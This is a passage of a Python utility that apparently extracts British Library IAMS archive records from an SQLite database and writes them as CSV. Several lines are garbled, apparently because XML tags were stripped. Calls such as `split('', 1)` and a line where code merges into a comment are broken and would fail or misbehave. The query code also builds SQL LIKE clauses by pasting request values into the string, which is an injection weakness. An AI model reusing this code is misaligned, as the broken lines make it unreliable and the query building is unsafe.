['N==ISSN', '']), # DIFFERS FROM STANDARD RF\r\n ('IL', ['N==ISSN-L', '']),\r\n ('IM', ['N==International Standard Music Number (ISMN)', '']),\r\n ('IR', ['N==International Standard Recording Code (ISRC)', '']),\r\n ('IA', ['N==International Article Number (EAN)', '']),\r\n ('PN', ['N==Publisher number', '']),\r\n ('OI', ['N==Other identifier', 'COMPLEX']),\r\n ('AA', ['N==Name', 'COMPLEX']),\r\n ('AD', ['N==Dates associated with name', 'COMPLEX']),\r\n ('AT', ['N==Type of name', 'COMPLEX']),\r\n ('AR', ['N==Role', 'COMPLEX']),\r\n ('II', ['N==ISNI', 'COMPLEX']),\r\n ('VF', ['N==VIAF', 'COMPLEX']),\r\n ('AN', ['N==All names', 'COMPLEX']),\r\n ('TT', ['Y==Title', '||Title']),\r\n ('TU', ['N==Uniform title', '']),\r\n ('TK', ['N==Key title', '']),\r\n ('TV', ['N==Variant titles', 'COMPLEX']),\r\n ('S1', ['N==Preceding titles', '']),\r\n ('S2', ['N==Succeeding titles', '']),\r\n ('SE', ['N==Series title', '']),\r\n ('SN', ['N==Number within series', '']),\r\n ('PC', ['N==Country of publication', '']),\r\n ('PP', ['N==Place of creation/publication', '||PlaceOfOrigin']), # New field with IAMS release 26\r\n ('PB', ['N==Publisher', '']),\r\n ('PD', ['N==Date of creation/publication', '||DateRange']),\r\n ('PU', ['N==Date of creation/publication (not standardised)', '||DateRange']),\r\n ('PJ', ['N==Projected date of publication', '']),\r\n ('PG', ['N==Publication date range', '||DateRange']),\r\n ('P1', ['N==Publication date one', '']),\r\n ('P2', ['N==Publication date two', '']),\r\n ('FA', ['N==Free text information about dates of publication', '']),\r\n ('HF', ['N==First date held', '']),\r\n ('HL', ['N==Last date held', '']),\r\n ('HA', ['N==Free text information about holdings', '']),\r\n ('FC', ['N==Current publication frequency', '']),\r\n ('FF', ['N==Former publication frequency', '']),\r\n ('ED', ['N==Edition', '']),\r\n ('DS', ['N==Physical description', '||Extent|PhysicalCharacteristics']),\r\n ('SC', ['N==Scale', '||Scale|ScaleDesignator']),\r\n ('JK', ['N==Projection', '||Projection']),\r\n ('CD', ['N==Coordinates', '||DecimalCoordinates|DegreeCoordinates']),\r\n ('MF', ['N==Musical form', '']),\r\n ('MG', ['N==Musical format', '']),\r\n ('PR', ['N==Price', '']),\r\n ('DW', ['N==Dewey classification', '']),\r\n ('LN', ['N==Library of Congress classification', '']),\r\n ('SM', ['N==BL shelfmark', 'COMPLEX']),\r\n ('SD', ['N==DSC shelfmark', '']),\r\n ('SO', ['N==Other shelfmark', '']),\r\n ('BU', ['N==Burney?', '']),\r\n ('IO', ['N==India Office?', '']),\r\n ('CL', ['N==Formerly held at Colindale?', '']),\r\n ('SU', ['N==Topics', 'COMPLEX']),\r\n ('G1', ['N==First geographical subject heading', 'COMPLEX']),\r\n ('G2', ['N==Subsequent geographical subject headings', 'COMPLEX']),\r\n ('CG', ['N==General area of coverage', '']),\r\n ('CC', ['N==Coverage: Country', '']),\r\n ('CF', ['N==Coverage: Region', '']),\r\n ('CY', ['N==Coverage: City', '']),\r\n ('GE', ['N==Genre', '']),\r\n ('TA', ['N==Target audience', '']),\r\n ('LF', ['N==Literary form', '']),\r\n ('LA', ['N==Languages', 'COMPLEX']),\r\n ('CO', ['N==Contents', '']),\r\n ('AB', ['N==Abstract', '']),\r\n ('NN', ['N==Notes', '||ScopeContent']),\r\n ('CA', ['N==Additional notes for cartographic materials', '||DecimalLatitude|DecimalLongitude|Latitude|Longitude|Orientation']),\r\n ('MA', ['N==Additional notes for music', '']),\r\n ('PV', ['N==Provenance', '||ImmSourceAcquisition|CustodialHistory|AdministrativeContext']),\r\n ('RF', ['N==Referenced in', '||PublicationNote']),\r\n ('NL', ['N==Link to digitised resource', '']),\r\n ('_8F', ['N==852 holdings flag', '']), # DIFFERS FROM STANDARD RF\r\n ('ND', ['N==NID', '']),\r\n ('EL', ['N==Encoding level', '']),\r\n ('SX', ['N==Status', 'COMPLEX']),\r\n ])\r\n\r\n\r\nclass Authority:\r\n def __init__(self, record, a, atype):\r\n self.a = a\r\n self.atype = atype\r\n\r\n # Remove elements to avoid conflict with element\r\n record = re.sub(r'<AdditionalTitles>.*?</AdditionalTitles>', '', record)\r\n\r\n for item in self.a:\r\n self.a[item] = ''\r\n try:\r\n if REGEXES[item].search(record) and REGEXES[item].search(record).group(1).lower() not in \\\r\n ['-', 'not applicable', 'undetermined', 'unknown', 'unspecified']:\r\n self.a[item] = REGEXES[item].search(record).group(1)\r\n if item == 'isni':\r\n self.a[item] = 'http://isni.org/isni/' + self.a[item]\r\n elif item == 'viaf':\r\n self.a[item] = 'http://viaf.org/viaf/' + self.a[item]\r\n except:\r\n print('\\nError [c001]: {}\\n'.format(str(sys.exc_info())))\r\n\r\n self.name = clean_authorities(\r\n ', '.join(self.a[item] for item in self.a if 'dates' not in item and item not in ['isni', 'viaf'] and self.a[item] != ''))\r\n self.dates = clean_authorities(\r\n ', '.join(self.a[item] for item in self.a if 'dates' in item and self.a[item] != ''))\r\n self.isni = ', '.join(self.a[item] for item in self.a if 'isni' in item and self.a[item] != '')\r\n self.viaf = ', '.join(self.a[item] for item in self.a if 'viaf' in item and self.a[item] != '')\r\n\r\n def __str__(self):\r\n return clean_authorities(', '.join(self.a[item] for item in self.a if self.a[item] != ''))\r\n\r\n\r\nclass Corporation(Authority):\r\n def __init__(self, record):\r\n a = OrderedDict([\r\n ('c_name', ''),\r\n ('c_qualifiers', ''),\r\n ('c_jurisdiction', ''),\r\n ('c_dates', ''),\r\n ('isni', ''),\r\n ('viaf', ''),\r\n ])\r\n Authority.__init__(self, record, a, 'corporation')\r\n\r\n\r\nclass Family(Authority):\r\n def __init__(self, record):\r\n a = OrderedDict([\r\n ('f_surname', ''),\r\n ('f_epithet', ''),\r\n ('f_dates', ''),\r\n ('isni', ''),\r\n ('viaf', ''),\r\n ])\r\n Authority.__init__(self, record, a, 'family')\r\n\r\n\r\nclass Person(Authority):\r\n def __init__(self, record):\r\n a = OrderedDict([\r\n ('p_surname', ''),\r\n ('p_forename', ''),\r\n ('p_title', ''),\r\n ('p_epithet', ''),\r\n ('p_dates', ''),\r\n ('isni', ''),\r\n ('viaf', ''),\r\n ])\r\n Authority.__init__(self, record, a, 'person')\r\n\r\n\r\nclass Place(Authority):\r\n def __init__(self, record):\r\n a = OrderedDict([\r\n ('pl_name', ''),\r\n ('pl_localUnit', ''),\r\n ('pl_widerUnit', ''),\r\n ('pl_country', ''),\r\n ])\r\n Authority.__init__(self, record, a, 'place')\r\n\r\n\r\nclass Subject(Authority):\r\n def __init__(self, record):\r\n a = OrderedDict([\r\n ('s_text', ''),\r\n ])\r\n try:\r\n atype = REGEXES['s_type'].search(record).group(1).lower()\r\n except:\r\n atype = 'general term'\r\n Authority.__init__(self, record, a, atype)\r\n\r\n\r\nclass ArchiveDescription:\r\n cols = Output()\r\n\r\n def __init__(self, record, authorities):\r\n self.text = clean(record)\r\n # Rename additional titles to prevent conflicting element names\r\n # <Title> element inside <AdditionalTitle> is now named <ATitle>\r\n # <TitleType> element is now named <TTitleType>\r\n # <TitleType> element inside <AdditionalTitle> is now named <ATTitleType>\r\n self.text = re.sub(r'<AdditionalTitle>([^<>]*?)<Title>([^<>]*?)',\r\n r'\\1\\2', self.text)\r\n self.text = re.sub(r'([^<>]*?)([^<>]*?)',\r\n r'\\1\\2', self.text)\r\n self.text = self.text.replace('', 1)[1].split(' element contains identifiers for fields VF, II, LC and OI\r\n for match in REGEXES['OI'].findall(self.text):\r\n if match[0] and match[0] !='':\r\n if 'VIAF' in match[1]:\r\n self.output.values['VF'].add('http://viaf.org/viaf/' + match[0])\r\n elif 'ISNI' in match[1]:\r\n self.output.values['II'].add('http://isni.org/isni/' + match[0])\r\n elif 'LCCN' in match[1]:\r\n self.output.values['LC'].add(match[0])\r\n else:\r\n if match[1] and match[1]!='':\r\n self.output.values['OI'].add('{} [{}]'.format(match[0], match[1]))\r\n else:\r\n self.output.values['OI'].add(match[0])\r\n\r\n # IAMS element is added to field DS\r\n try: f = quick_clean(self.text.split('', 1)[1].split('', 1)[0])\r\n except: f = ''\r\n if f and f != '':\r\n self.output.values['DS'].add('Digital file format: {}.'.format(f))\r\n\r\n # is repeatable, so requires a regular expression\r\n # Also add title to self.titles\r\n for match in REGEXES['TV'].findall(self.text):\r\n self.output.values['TV'].add(match)\r\n self.titles.add(match)\r\n for match in REGEXES['b_title'].findall(self.text):\r\n self.titles.add(match)\r\n\r\n # Languages is repeatable, so requires a regular expression\r\n for match in REGEXES['LA'].findall(self.text):\r\n if match.lower() not in ['multiple languages', 'not applicable', 'undetermined', 'unknown', 'unspecified']:\r\n self.output.values['LA'].add(match)\r\n\r\n for match in REGEXES['S_LANGUAGES'].findall(self.text):\r\n if match.lower() not in ['mul', 'und', 'zxx']:\r\n self.output.values['S_LANGUAGES'].add(match)\r\n\r\n # Subjects requires authority lookup\r\n for match in REGEXES['SU'].findall(self.text):\r\n if match in self.authorities and str(self.authorities[match]) != '':\r\n self.subjects.add(self.authorities[match])\r\n self.output.values['SU'].add(str(self.authorities[match]))\r\n if record_type(match) == 'Place':\r\n if len(self.output.values['G1']) == 0:\r\n self.output.values['G1'].add(str(self.authorities[match]))\r\n elif len(self.output.values['G2']) == 0:\r\n self.output.values['G2'].add(str(self.authorities[match]))\r\n\r\n # Names requires authority lookup\r\n for match in REGEXES['AN'].findall(self.text):\r\n if match[0] in self.authorities and str(self.authorities[match[0]]) != '':\r\n if match[1].lower() == 'subject':\r\n # Store a the name object\r\n self.subjects.add(self.authorities[match[0]])\r\n self.output.values['SU'].add(str(self.authorities[match[0]]))\r\n elif match[1] != '':\r\n # Store a tuple containing the name object and the relationship\r\n self.names.add((self.authorities[match[0]], match[1].lower()))\r\n self.output.values['AN'].add(str(self.authorities[match[0]]) + ' [' + match[1].lower() + ']')\r\n if match[1].lower() in ['author', 'creator'] and len(self.output.values['AA']) == 0 \\\r\n and self.authorities[match[0]].name != '':\r\n self.output.values['AA'].add(self.authorities[match[0]].name)\r\n self.output.values['AD'].add(self.authorities[match[0]].dates)\r\n self.output.values['AT'].add(self.authorities[match[0]].atype)\r\n self.output.values['AR'].add(match[1].lower())\r\n # Add ISNI and VIAF from first author\r\n self.output.values['II'].add(self.authorities[match[0]].isni)\r\n self.output.values['VF'].add(self.authorities[match[0]].viaf)\r\n\r\n def __str__(self):\r\n return self.text\r\n\r\n def RT(self):\r\n try:\r\n return quick_clean(record_type(self.ID) + '. ' +\r\n self.text.split('', 1)[1].split('', 1)[0])\r\n except: return ''\r\n\r\n def SM(self):\r\n try:\r\n ref = quick_clean(self.text.split('', 1)[1].split('', 1)[0])\r\n except: ref = ''\r\n try:\r\n collection = quick_clean(\r\n self.text.split('', 1)[1].split('', 1)[0])\r\n except: collection = ''\r\n return quick_clean(collection + '. ' + ref)\r\n\r\n def SX(self):\r\n try: return STATUS[self.text.split(',')[3]]\r\n except: return ''\r\n\r\n\r\n# ====================\r\n# Functions\r\n# ====================\r\n\r\n\r\ndef create_table(conn, cursor, table_name, debug=False):\r\n \"\"\"Function to create a table within the database\"\"\"\r\n if table_name is None or table_name not in TABLE_DEFINITIONS: exit_prompt('Table name not recognised')\r\n\r\n print('\\n\\nCreating {} table'.format(table_name))\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n\r\n cursor.execute('DROP TABLE IF EXISTS {};'.format(table_name))\r\n\r\n if table_name == 'records':\r\n fields = Output()\r\n sql_command = 'CREATE TABLE records (id INTEGER PRIMARY KEY, RecordId NCHAR(13), {Fields});'.format(\r\n Fields=', '.join(item + ' NTEXT' for item in fields.values).replace('S_DATE1 NTEXT', 'S_DATE1 INTEGER').replace('S_DATE2 NTEXT', 'S_DATE2 INTEGER'))\r\n else:\r\n sql_command = 'CREATE TABLE {} (id INTEGER PRIMARY KEY, RecordId NCHAR(13), {});'.format(\r\n table_name, ', '.join('{} {}'.format(key, value) for (key, value) in TABLE_DEFINITIONS[table_name]))\r\n if debug:\r\n print(sql_command)\r\n cursor.execute(sql_command)\r\n conn.commit()\r\n gc.collect()\r\n\r\n\r\ndef build_index(conn, cursor, table_name, index_name):\r\n \"\"\"Function to build an index on a table within the database\"\"\"\r\n if table_name is None or index_name is None: exit_prompt('Error building index {} on table {}'.format(index_name, table_name))\r\n print('Building index {}'.format(index_name))\r\n cursor.execute(\"\"\"DROP INDEX IF EXISTS {};\"\"\".format(index_name))\r\n cursor.execute(\"\"\"CREATE INDEX {} ON {} (RecordId ASC)\"\"\".format(index_name, table_name))\r\n conn.commit()\r\n gc.collect()\r\n return\r\n\r\n\r\ndef dump_table(cursor, table_name):\r\n \"\"\"Function to dump a database table into a text file\"\"\"\r\n if table_name is None: exit_prompt('Table name not recognised')\r\n record_count = 0\r\n try:\r\n cursor.execute('SELECT * FROM {};'.format(table_name))\r\n except:\r\n print('{} table does not exist'.format(table_name))\r\n else:\r\n print('Creating dump of {} table'.format(table_name))\r\n file = open('{}.txt'.format(table_name), mode='w', encoding='utf-8', errors='replace')\r\n row = cursor.fetchone()\r\n while row:\r\n record_count += 1\r\n file.write('{}\\n'.format(str(row)))\r\n row = cursor.fetchone()\r\n file.close()\r\n gc.collect()\r\n print('{} records in {} table'.format(str(record_count), table_name))\r\n return record_count\r\n\r\n\r\ndef clean(string):\r\n \"\"\"Function to clean punctuation and normalize Unicode\"\"\"\r\n if string is None or not string or string == 'None':\r\n return ''\r\n string = string.strip()\r\n string = re.sub(\r\n u'[\\u0022\\u055A\\u05F4\\u2018\\u2019\\u201A\\u201B\\u201C\\u201D\\u201E\\u201F\\u275B\\u275C\\u275D\\u275E\\uFF07\\u0060]',\r\n '\\'',\r\n string)\r\n string = re.sub(\r\n u'[\\u0000-\\u0009\\u000A-\\u000f\\u0010-\\u0019\\u001A-\\u001F\\u0080-\\u0089\\u008A-\\u008F\\u0090-\\u0099\\u009A-\\u009F\\u2028\\u2029]+',\r\n '', string)\r\n string = re.sub(u'[\\u00A0\\u1680\\u2000-\\u200A\\u202F\\u205F\\u3000]+', ' ', string)\r\n string = re.sub(u'[\\u002D\\u2010-\\u2015\\u2E3A\\u2E3B\\uFE58\\uFE63\\uFF0D]+', '-', string)\r\n string = string.replace('>', '>').replace('<', '<').replace('&', '&')\r\n string = re.sub(r'\\s+', ' ', string).strip()\r\n string = re.sub(r'<[^/>]+/>', '', string, flags=re.IGNORECASE)\r\n string = re.sub(r'[.\\s]*

\\s*', '. ', re.sub(r'[;\\s.]+;', ';', string.replace('', '; ')),\r\n flags=re.IGNORECASE)\r\n string = re.sub(\r\n r'[<\\[]/*(b|br|emph|i|italic|italics|item|li|list|ol|p|sup|superscript|sub|subscript|ul)(\\s+[^>\\]]+)?\\s*/*[>\\]]',\r\n ' ', string, flags=re.IGNORECASE)\r\n string = re.sub(r';\\s+\\.', '.', string).strip()\r\n string = re.sub(r'\\s+', ' ', string).strip()\r\n string = unicodedata.normalize('NFC', string)\r\n return string\r\n\r\n\r\ndef quick_clean(string, hyphens=True):\r\n \"\"\"If a string has been cleaned with clean() once, quick_clean() is sufficient for subsequent cleaning\r\n If hyphens=True, trailing/leading hyphens are preserved\"\"\"\r\n if string is None or not string or string == 'None':\r\n return ''\r\n string = re.sub(r';\\s+\\.', '.', string).strip()\r\n string = re.sub(r'\\s+', ' ', string).strip()\r\n l = '?$.,:;/\\])} ' if hyphens else '?$.,:;/\\-])} '\r\n r = '.,:;/\\[({ ' if hyphens else '.,:;/\\-[({ '\r\n string = re.sub(r'\\s+', ' ', string.strip().lstrip(l).rstrip(r)).strip()\r\n string = string.replace('( ', '(').replace(' )', ')')\r\n string = string.replace(' ,', ',').replace(',,', ',').replace(',.', '.').replace('.,', ',')\r\n string = string.replace('. [', ' [').replace(' : (', ' (')\r\n string = string.replace('= =', '=').replace('= :', '=').replace('+,', '+')\r\n return string\r\n\r\n\r\ndef clean_authorities(string):\r\n \"\"\"Function to clean the string form of an authority record\"\"\"\r\n string = re.sub(r', Family(?:,|$)', ' family', string)\r\n string = re.sub(r'(, |^)fl (?:[0-9])', r'\\1active ', string)\r\n string = re.sub(r'(, |^)b ([0-9]{4})', r'\\1\\2-', string)\r\n string = re.sub(r'(, |^)d (?:[0-9])', r'\\1-', string)\r\n string = re.sub(r' cent$', ' century', string)\r\n string = re.sub(r'(, |- |^)c\\s*([0-9]+)', r'\\1approximately \\2', string)\r\n string = string.replace(' - ', '-')\r\n return quick_clean(string)\r\n\r\n\r\ndef clean_msg(string):\r\n \"\"\"Function to clean punctuation and normalize Unicode in an Outlook .msg file\"\"\"\r\n if string is None or not string or string == '': return ''\r\n string = string.replace('\"', '\\\\\"').replace('\\n', '')\r\n string = re.sub(r'<[^>]+>', '', re.sub(r'[\\u0000\\ufffd]', '', string)).replace(' ', '')\r\n string = unicodedata.normalize('NFC', string)\r\n return string\r\n\r\n\r\ndef is_IAMS_id(string):\r\n \"\"\"Function to test whether a string is a valid IAMS record ID\"\"\"\r\n if string is None or not string or string == 'None':\r\n return False\r\n if RE_IAMS_ID.fullmatch(string) and string.split('-')[0] in TYPES:\r\n return True\r\n return False\r\n\r\n\r\ndef record_type(string):\r\n \"\"\"Function to return the record type from an IAMS record ID\"\"\"\r\n if is_IAMS_id(string) and string.split('-')[0] in TYPES:\r\n return TYPES[string.split('-')[0]]\r\n return\r\n\r\n\r\ndef add_string(string, base, separator):\r\n \"\"\"Function to append a string to another string\"\"\"\r\n if string != '' and string not in base:\r\n if base != '': base = base + separator\r\n base += string\r\n return base\r\n\r\n\r\ndef get_boolean(prompt):\r\n \"\"\"Function to prompt the user for a Boolean value\"\"\"\r\n while True:\r\n try:\r\n return {'Y': True, 'N': False}[input(prompt).upper()]\r\n except KeyError:\r\n print('Sorry, your choice was not recognised. Please enter Y or N:')\r\n\r\n\r\ndef csv_row(row):\r\n \"\"\"Function to clean a row of CSV data before writing it to an output file\"\"\"\r\n if row is None or not row: return ''\r\n return '\"' + '\",\"'.join(re.sub(r'^None$|\\[\\s*\\]', '', str(s)).replace(', [', ' [') for s in row) + '\"\\n'\r\n\r\n\r\ndef run_sql(cursor, sql_command, ofile, debug=False):\r\n \"\"\"Function to run an SQL command and write the results to a CSV file\"\"\"\r\n j = 0\r\n if debug:\r\n print(str(cursor.execute(\"\"\"EXPLAIN QUERY PLAN {}\"\"\".format(sql_command)).fetchall()))\r\n cursor.execute(sql_command)\r\n row = cursor.fetchone()\r\n while row:\r\n ofile.write(csv_row(row))\r\n j += 1\r\n print('\\r{} records written to file'.format(str(j)), end='\\r')\r\n try: row = cursor.fetchone()\r\n except: return j\r\n\r\n\r\ndef check_file_location(file_path, function, file_ext='', exists=False):\r\n \"\"\"Function to check whether a file exists and has the correct file extension.\"\"\"\r\n folder, file, ext = '', '', ''\r\n if file_path == '':\r\n exit_prompt('Error: Could not parse path to {} file'.format(function))\r\n try:\r\n file, ext = os.path.splitext(os.path.basename(file_path))\r\n folder = os.path.dirname(file_path)\r\n except:\r\n exit_prompt('Error: Could not parse path to {} file'.format(function))\r\n if file_ext != '' and ext != file_ext:\r\n exit_prompt('Error: The specified file should have the extension {}'.format(file_ext))\r\n if exists and not os.path.isfile(os.path.join(folder, file + ext)):\r\n exit_prompt('Error: The specified {} file cannot be found'.format(function))\r\n return folder, file, ext\r\n\r\n\r\ndef exit_prompt(message=''):\r\n \"\"\"Function to exit the program after prompting the use to press Enter\"\"\"\r\n if message != '':\r\n print(str(message))\r\n input('\\nPress [Enter] to exit...')\r\n sys.exit()\r\n\r\n\r\n# ====================\r\n\r\n\r\nclass Converter(object):\r\n \"\"\"A class for converting IAMS data.\r\n\r\n :param debug: Display additional output to assist with debugging.\r\n \"\"\"\r\n\r\n def __init__(self, debug=False):\r\n self.debug = debug\r\n\r\n def show_header(self):\r\n if self.header:\r\n print(self.header)\r\n\r\n\r\nclass SQL2RF(Converter):\r\n\r\n def __init__(self, debug=False):\r\n self.search_criteria = {\r\n 'l1': set(),\r\n 'txt': set(),\r\n 'd1': '',\r\n 'd2': '',\r\n }\r\n self.output_fields = Output()\r\n self.search_string = ''\r\n self.search_list = ''\r\n self.ids = set()\r\n self.header = '========================================\\n' \\\r\n 'sql2rf\\n' \\\r\n 'IAMS data extraction for Researcher Format\\n' \\\r\n '========================================\\n' \\\r\n 'This utility searches an SQL database of IAMS records\\n' \\\r\n 'created using the utility snapshot2sql\\n' \\\r\n 'and converts matching records to Researcher Format\\n'\r\n Converter.__init__(self, debug)\r\n\r\n def iams2rf_sql2rf(self, db_path, request_path, output_folder):\r\n \"\"\"Search for records within an SQL database created using snapshot2sql\r\n and convert to Researcher Format\r\n\r\n :param db_path: Path to the SQL database.\r\n :param request_path: Path to Outlook message containing details of the request.\r\n :param output_folder: Folder to save Researcher Format output files.\r\n \"\"\"\r\n\r\n self.show_header()\r\n\r\n # Check file locations\r\n db_folder, db_file, db_ext = check_file_location(db_path, 'SQL database', '.db', True)\r\n if request_path != '':\r\n request_folder, request_file, request_ext = check_file_location(request_path, 'request message', '.msg', True)\r\n if output_folder != '':\r\n try:\r\n if not os.path.exists(output_folder):\r\n os.makedirs(output_folder)\r\n except os.error:\r\n exit_prompt('Error: Could not create folder for output files')\r\n\r\n\r\n # --------------------\r\n # Parameters seem OK => start script\r\n # --------------------\r\n\r\n # Display confirmation information about the transformation\r\n print('SQL database: {}'.format(db_file + db_ext))\r\n if request_path != '':\r\n print('Request message: {}'.format(request_file + request_ext))\r\n if output_folder != '':\r\n print('Output folder: {}'.format(output_folder))\r\n if self.debug:\r\n print('Debug mode')\r\n\r\n # --------------------\r\n # Define possible output fields\r\n # --------------------\r\n\r\n # If request message has been specified, use this to determine transformation parameters\r\n if request_path != '':\r\n\r\n # Determine output fields to be included based on contents of request message file\r\n msgfile = open(os.path.join(request_folder, request_file + request_ext), mode='r', encoding='utf-8', errors='replace')\r\n for filelineno, line in enumerate(msgfile):\r\n line = clean_msg(line)\r\n if 'Coded parameters for your transformation' in line: break\r\n for filelineno, line in enumerate(msgfile):\r\n line = clean_msg(line)\r\n if 'End of coded parameters' in line: break\r\n if '=' in line:\r\n line = clean_msg(line)\r\n parameter = line.split('=', 1)[0].strip()\r\n values = re.sub(r'^ ', '', line.split('=', 1)[-1])\r\n if parameter != '' and values != '':\r\n if parameter == 'o':\r\n for f in re.sub(r'[^a-zA-Z0-9|]', '', values).split('|'):\r\n f = f.replace('ID', '_ID').replace('IS', '_IS').replace('8F', '_8F')\r\n if f in self.output_fields.values:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('N==', 'Y==')\r\n elif parameter == 'v' and (re.sub(r'[^rtnscRTNSC|]', '', values) == values):\r\n values = values.lower()\r\n file_records = 'r' in values\r\n file_titles = 't' in values\r\n file_names = 'n' in values\r\n file_topics = 's' in values\r\n\r\n elif parameter in ['l1', 'txt']:\r\n # Languages codes and search strings\r\n for v in re.sub(r'\\$[a-z0-9]', ' ', re.sub(r'([^\\x00-\\x7F]|,)', '_', values)).split('|'):\r\n self.search_criteria[parameter].add(v)\r\n elif parameter in ['d1', 'd2']:\r\n # Date range\r\n if len(re.sub(r'[^0-9]', '', values)) >= 4:\r\n self.search_criteria[parameter] = re.sub(r'[^0-9]', '', values)[:4]\r\n\r\n if len(self.search_criteria['l1']) > 0:\r\n self.search_string = '( ' + \\\r\n ' OR '.join((' S_LANGUAGES LIKE \"%{}%\" '.format(s))\r\n for s in sorted(self.search_criteria['l1'])) \\\r\n + ' )'\r\n if len(self.search_criteria['txt']) > 0:\r\n self.search_string = add_string('( {} )'.format(\r\n ' OR '.join('{} LIKE \"%{}%\"'.format(f, s)\r\n for f in ['AA', 'AN', 'TT', 'DS', 'SM', 'SU', 'NN', 'PV', 'RF']\r\n for s in sorted(self.search_criteria['txt']))), self.search_string, ' AND ')\r\n self.search_string = add_string(self.search_criteria['d1'], self.search_string, ' AND S_DATE2 >= ')\r\n self.search_string = add_string(self.search_criteria['d2'], self.search_string, ' AND S_DATE1 <= ')\r\n if self.search_string != '':\r\n self.search_string = 'WHERE ' + self.search_string\r\n if self.debug:\r\n try:\r\n print(self.search_string)\r\n print(str(self.search_criteria))\r\n except ValueError: pass\r\n\r\n # If request message has not been specified, user must provide transformation parameters\r\n else:\r\n # User selects columns to include\r\n print('\\n')\r\n print('----------------------------------------')\r\n print('Select one of the following options: \\n')\r\n print(' D Default columns \\n')\r\n print(' A All columns \\n')\r\n print(' S Select columns to include \\n\\n')\r\n selection = input('Choose an option:').upper()\r\n while selection not in ['D', 'A', 'S']:\r\n selection = input('Sorry, your choice was not recognised. Please enter D, A, or S:').upper()\r\n\r\n # Default column selection\r\n if selection == 'D':\r\n\r\n # Columns to include\r\n for f in ['_ID', 'RT', 'BN', 'IB', 'AA', 'AD', 'AT', 'AR', 'AN', 'TT', 'TV', 'SE', 'SN', 'PC',\r\n 'PP', 'PB', 'PD', 'ED', 'DS', 'DW', 'SM', 'SU', 'GE', 'LA', 'NN', 'AK', 'PV', 'RF']:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('N==', 'Y==')\r\n\r\n # All columns\r\n elif selection == 'A':\r\n\r\n # Columns to include\r\n # Select all columns\r\n for f in self.output_fields.values:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('N==', 'Y==')\r\n # Remove context-specific columns\r\n for f in ['ES', '_8F', 'BU', 'CG', 'CL', 'EL', 'FA', 'G1', 'G2', 'HA', 'HF', 'HL',\r\n 'IO', 'ND', 'NL', 'P1', 'P2', 'PJ', 'SD', 'SO', 'SX']:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('Y==', 'N==')\r\n\r\n # Choose columns one-by-one\r\n else:\r\n print('\\nChoose the optional columns: \\n')\r\n\r\n for f in self.output_fields.values:\r\n skip = False\r\n # Skip some choices depending upon the values of parameters already set\r\n if f in ['AK', 'PV']:\r\n skip = True\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('N==', 'Y==')\r\n if f in ['_8F', 'NL', 'P1', 'P2', 'SD', 'SO', 'SX'] \\\r\n or (f in ['AD', 'AT', 'AR', 'II', 'VF'] and self.output_fields.values['AA'][0].startswith('N==')) \\\r\n or (f == 'SN' and self.output_fields.values['SE'][0].startswith('N==')) \\\r\n or (f == 'PU' and self.output_fields.values['PD'][0].startswith('N==')):\r\n skip = True\r\n if not skip:\r\n opt_text = self.output_fields.values[f][0].replace('N==', '').replace('Y==', '')\r\n # Add additional explanatory text to column heading when presenting user with choices\r\n if f == 'AA':\r\n opt_text += ' (of first author)'\r\n elif f in ['FA', 'FC', 'FF', 'HA', 'HF', 'HL', 'IL', '_IS', 'PG', 'TK']:\r\n opt_text += ' (relevant to serials only)'\r\n elif f in ['BU', 'CG', 'CL', 'IO', 'ND']:\r\n opt_text += ' (relevant to newspapers only)'\r\n elif f in ['IM', 'MF', 'MG', 'MA']:\r\n opt_text += ' (relevant to music only)'\r\n elif f in ['SC', 'JK', 'CD', 'CA']:\r\n opt_text += ' (relevant to cartographic materials only)'\r\n opt_input = get_boolean('Include {0}? (Y/N):'.format(opt_text))\r\n if opt_input:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('N==', 'Y==')\r\n else:\r\n self.output_fields.values[f][0] = self.output_fields.values[f][0].replace('Y==', 'N==')\r\n\r\n # User selects output files to include\r\n print('\\n----------------------------------------')\r\n print('Select output files to include:\\n')\r\n file_records = get_boolean('Include the Records file? (Y/N):')\r\n file_titles = get_boolean('Include the Titles file? (Y/N):')\r\n file_names = get_boolean('Include the Names file? (Y/N):')\r\n file_topics = get_boolean('Include the Topics file? (Y/N):')\r\n\r\n # --------------------\r\n # Build column headings and create output files\r\n # --------------------\r\n\r\n records_header = ''\r\n if file_records:\r\n for f in self.output_fields.values:\r\n if self.output_fields.values[f][0].startswith('Y=='):\r\n records_header += ',\"' + self.output_fields.values[f][0].replace('Y==', '') + '\"'\r\n records_header = records_header.strip(',') + '\\n'\r\n records = open(os.path.join(output_folder,'records_IAMS.csv'), mode='w', encoding='utf-8', errors='replace')\r\n records.write(records_header)\r\n\r\n names_header = '\"Name\",\"Dates associated with name\",\"Type of name\",\"Role\",\"Other names\"'\r\n if file_names:\r\n for f in self.output_fields.values:\r\n if self.output_fields.values[f][0].startswith('Y==') and f not in ['AA', 'AD', 'AT', 'AR', 'II', 'VF', 'AN']:\r\n names_header += ',\"' + self.output_fields.values[f][0].replace('Y==', '') + '\"'\r\n names_header = names_header.strip(',') + '\\n'\r\n names = open(os.path.join(output_folder,'names_IAMS.csv'), mode='w', encoding='utf-8', errors='replace')\r\n names.write(names_header)\r\n\r\n titles_header = '\"Title\",\"Other titles\"'\r\n if file_titles:\r\n for f in self.output_fields.values:\r\n if self.output_fields.values[f][0].startswith('Y==') and f not in ['TT', 'TV', 'TU', 'TK']:\r\n titles_header += ',\"' + self.output_fields.values[f][0].replace('Y==', '') + '\"'\r\n titles_header = titles_header.strip(',') + '\\n'\r\n titles = open(os.path.join(output_folder,'titles_IAMS.csv'), mode='w', encoding='utf-8', errors='replace')\r\n titles.write(titles_header)\r\n\r\n topics_header = '\"Topic\",\"Type of topic\"'\r\n if file_topics:\r\n for f in self.output_fields.values:\r\n if self.output_fields.values[f][0].startswith('Y==') and f != 'SU':\r\n topics_header += ',\"' + self.output_fields.values[f][0].replace('Y==', '') + '\"'\r\n topics_header = topics_header.strip(',') + '\\n'\r\n topics = open(os.path.join(output_folder,'topics_IAMS.csv'), mode='w', encoding='utf-8', errors='replace')\r\n topics.write(topics_header)\r\n\r\n # --------------------\r\n # Connect to local database\r\n # --------------------\r\n\r\n print('\\nConnecting to local database ...')\r\n print('----------------------------------------')\r\n 